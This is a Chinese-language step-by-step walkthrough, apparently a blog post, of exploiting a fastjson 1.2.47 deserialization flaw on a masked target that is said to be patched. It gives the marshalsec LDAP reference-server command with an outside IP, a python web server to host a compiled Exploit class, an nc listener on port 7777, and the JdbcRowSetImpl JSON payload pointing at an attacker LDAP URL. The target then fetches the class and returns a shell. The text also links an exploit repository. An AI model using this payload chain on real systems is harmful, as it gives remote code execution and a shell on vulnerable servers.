这是对fastjson反序列化的一次利用,关键信息会进行打码处理,且对方此漏洞已修复。
首先确定下是否使用了fastjson
在使用了json传数据的地方,尝试用一些特殊符号打算json的结构,使程序报错。
我们尝试利用fastjson的漏洞
参考及需要文件下载:https://github.com/CaijiOrz/fastjson-1.2.47-RCE/
将下载好的其中一个Exploit.java文件中的IP与端口换成自己远程服务器的IP和端口(端口是等下你要开NC监听的端口)
首先利用jdk1.6的javac将Exploit.java文件编译成一个Exploit.class文件(这里先从低版本试起,因为要和目标服务器的jdk版本相同)
命令为javac Exploit.java
java文件内容如下:
将此文件放到公网服务器下,然后开启LDAP、Web及NC
开启LDAP服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar mahalsec.jndi.LDAPRefServer http://173.82.232.183/#Exploit
开启web服务:python3 -m http.server 80
开启nc监听7777端口:nc -lvvp 7777
然后将之前发现漏洞的传送json字符的参数值修改为
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:1389/Exploit","autoCommit":true}
也有可能需要URL编码后再发送
1389是LDAP服务的端口
发送数据包后LDAP服务先得到响应
然后web端会下载此文件,也得到响应
最后NC端获得webshell